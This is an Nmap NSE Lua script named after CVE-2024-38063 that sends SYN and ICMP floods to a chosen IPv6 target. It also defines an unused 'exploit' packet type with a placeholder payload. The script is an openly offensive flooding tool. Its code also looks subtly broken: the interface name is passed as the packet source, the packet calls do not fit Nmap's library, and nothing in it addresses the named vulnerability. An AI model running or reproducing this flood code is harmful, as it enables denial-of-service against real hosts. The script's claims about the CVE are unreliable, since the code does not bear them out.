cve-2024-38063.nse

local nmap = require "nmap"
local stdnse = require "stdnse"
local packet = require "packet"
local ipOps = require "ipOps"
local string = require "string"
local math = require "math"
local coroutine = require "coroutine"

description = [[
Performs an IPv6 vulnerability scan and packet flood attack on specified targets.
The script simulates a SYN flood and ICMP flood attack and optionally sends exploit packets.
]]

---
-- @args interface Specify network interface to use (e.g., 'eth0')
-- @args ipv6 Target IPv6 address for the attacks
-- @args mac_addr Optional MAC address for packet manipulation
-- @args num_tries Number of tries per batch (default: 30)
-- @args num_batches Number of batches of tries (default: 30)
-- 
-- @usage
-- nmap --script ipv6-attack --script-args 'interface=eth0,ipv6=fe80::1,mac_addr=00:11:22:33:44:55,num_tries=30,num_batches=10'
--

author = "becrevex"
license = "oss"
categories = {"vuln", "exploit"}

-- Define global variables for ease of configuration
local iface = nmap.registry.args.interface or 'eth0'
local ipv6 = nmap.registry.args.ipv6 or ''
local mac_addr = nmap.registry.args.mac_addr or ''
local num_tries = tonumber(nmap.registry.args.num_tries) or 30
local num_batches = tonumber(nmap.registry.args.num_batches) or 30

-- Helper function to build packets
local function build_packet(pkt_type, try_count, mac, ipv6)
  local packet_data = ""
  
  if pkt_type == "icmp" then
    packet_data = packet.Packet:new()
    packet_data.ip6_hdr = packet.IPv6Header:new({ src = iface, dst = ipv6 })
    packet_data.ip6_hdr:ttl(64 + try_count)
    packet_data.icmpv6 = packet.ICMPv6:new()
    packet_data.icmpv6:type(128)  -- ICMPv6 Echo Request

  elseif pkt_type == "syn" then
    packet_data = packet.Packet:new()
    packet_data.ip6_hdr = packet.IPv6Header:new({ src = iface, dst = ipv6 })
    packet_data.ip6_hdr:ttl(64 + try_count)
    packet_data.tcp_hdr = packet.TCPHeader:new()
    packet_data.tcp_hdr:flags("SYN")
    packet_data.tcp_hdr:sport(math.random(1024, 65535))
    packet_data.tcp_hdr:dport(80)
    
  elseif pkt_type == "exploit" then
    packet_data = packet.Packet:new()
    packet_data.ip6_hdr = packet.IPv6Header:new({ src = iface, dst = ipv6 })
    packet_data.ip6_hdr:ttl(64 + try_count)
    packet_data.data = string.rep("A", 100)  -- Example payload
    
  end
  
  return packet_data
end

-- Function to perform ICMP flood attack
local function icmp_flood(ipv6, num_tries)
  stdnse.print_debug(1, "Starting ICMP flood attack on %s", ipv6)
  
  for i = 1, num_tries do
    local pkt = build_packet("icmp", i, mac_addr, ipv6)
    nmap.send_packets(pkt.buf, iface)
    stdnse.sleep(0.1)
  end
end

-- Function to perform SYN flood attack
local function syn_flood(ipv6, num_tries)
  stdnse.print_debug(1, "Starting SYN flood attack on %s", ipv6)

  for i = 1, num_tries do
    local pkt = build_packet("syn", i, mac_addr, ipv6)
    nmap.send_packets(pkt.buf, iface)
    stdnse.sleep(0.1)
  end
end

-- Main function to handle user input and execute attacks
action = function(host)
  -- Verify IPv6 address
  if not ipv6 or ipv6 == '' then
    return stdnse.format_output(false, "No IPv6 address provided. Please specify one using --script-args.")
  end
  
  -- Execute ICMP and SYN flood attacks based on user input
  stdnse.print_debug(1, "Commencing attack on IPv6 target: %s", ipv6)
  icmp_flood(ipv6, num_tries)
  syn_flood(ipv6, num_batches)
  
  return stdnse.format_output(true, "IPv6 attack simulation complete.")
end